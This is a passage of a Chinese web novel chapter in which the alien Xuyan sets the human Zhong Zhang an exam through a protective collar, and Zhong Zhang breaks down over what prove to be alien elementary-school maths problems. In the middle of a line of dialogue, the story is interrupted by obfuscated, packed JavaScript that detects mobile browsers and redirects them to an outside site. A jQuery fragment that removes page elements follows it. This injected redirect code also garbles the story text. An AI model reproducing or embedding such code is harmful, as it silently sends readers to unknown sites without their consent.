而听到这项圈不光能定位、开保护罩,还有增长智商的可能性,钟章完全接受了这等外星造物。 ——然后,他就发现这所谓的“增长智商”就是项圈里塞了外星幼教课。 “伊西多尔。”钟章勾着项圈下挂着的投影徽章,焉巴巴找序言谈条件,“能不能换个稍微高级一点的课程。你这个我看过了。” 序言道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516779|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你过考试了?” 钟章:……? 什么什么?这破项圈升级还要考试吗? “呵。当然没有。”钟章一擦鼻子,自信开麦,“不过你这么说,我现在就考。” “嗯。” 序言永远是这么冷静。不过,他在后台偷偷给钟章调难度就是另外一回事了。 他送钟章幼崽版项圈,自然是因为这个牌子对幼崽的保护程度是虫族市面上最高的,让钟章那么容易升级到高段位干什么?降低保护程度吗? 序言很有自己的主意,他看钟章好学,也没有把难度调到很高。 虫族小学水平应该可以了。 钟章十分钟应该可以做出来的。 毕竟,钟章可是他们家乡的高级知识人才,估计还是天之骄子的类型。 ……十分钟过去了。 序言不为所动,他专心算星球里各个数据,计划要什么时候放下星球,对付引力等问题。 ……二十分钟过去了。 距离钟章家越来越近,序言已经能够看到那颗“停车场”的地貌。他眯着眼睛,利用绝佳的视力打量“停车场”,并没有找到预料之中的“车”。 难道是翻译错误? 序言想着,在东方红族里“车”的概念和他们那“车”的概念不一样? 等钟章出来再问问吧。 序言继续做自己的事情,还有心情给小果泥点一份冰淇淋,安抚下这些天在紧闭的幼崽,承诺带他去钟章的星球散散心。 “他坏死了。”小果泥嘟嘟囔囔和序言抱怨起来,“坏闹钟!” 序言捂着嘴,想到什么好玩的和小果泥嘀咕起来,“到时候吓唬他一下。” “真的吗?” “当然是真的。” “哥哥不可以骗果泥。”小果泥咬着冰淇淋,凶巴巴大叫,“哥哥要是骗果泥。果泥,果泥就。就把闹钟变成烤闹钟。” 序言无奈哄着孩子。 “好的好的。闹钟不是在考试吗?哥哥已经在考闹钟了。” 用东方红的时间观念来看,已经快一个“小时”吧。钟章怎么还没出来?难道是题目太简单做睡着了? 序言拍拍果泥脑袋,让他乖乖吃冰淇淋,自己去看看。 “怎么样?”序言推开门,“是不是很简单。” 感觉自己正在做天书的钟章转过头。 看到序言的那一刻,傻孩子都快碎了。他哭着问序言,“这。你们给小孩,做,高等数学?” 序言扫一眼上面的题,“没有呀。” 这不是他们初等教育,约等于东方红小学的题目吗? 序言内心产生点微妙的怀疑。不过很快,他想起自己偏科严重的双亲,果断将钟章划分到偏科生的行列。 钟章不会解数学题,不代表整个东方红族都不解数学题。 没必要因为几道小学数学题破坏他和钟章的感情。 “呜呜呜。”钟章却哭起来,那姿态和他本科做数学题痛哭流涕的样子一模一样。在所有课程中,高数是钟章用求爷爷求姥姥外求太上老君、爱因斯坦、高斯等一众伟人换来的分数。 如果不是运气好复习到了原题,他真的会挂科的! 没想到,这么多年过去了。 他已经把高数忘得这么干净——想到这题目居然外星小学水准的,钟章悲从中来,哭得更惨了。 序言都不好意思继续问钟章,这么简单的题目怎么不会做等等了。 “不哭啦。”他心软地抱抱钟章:“不会就不会吧。” 钟章可能和他雄父一样,只是不擅长数学罢了。 哈哈哈总不可能整个东方红族连他们小学的题目都解不开吧。 序言定下神,决定点一份果泥同款冰淇淋给钟章。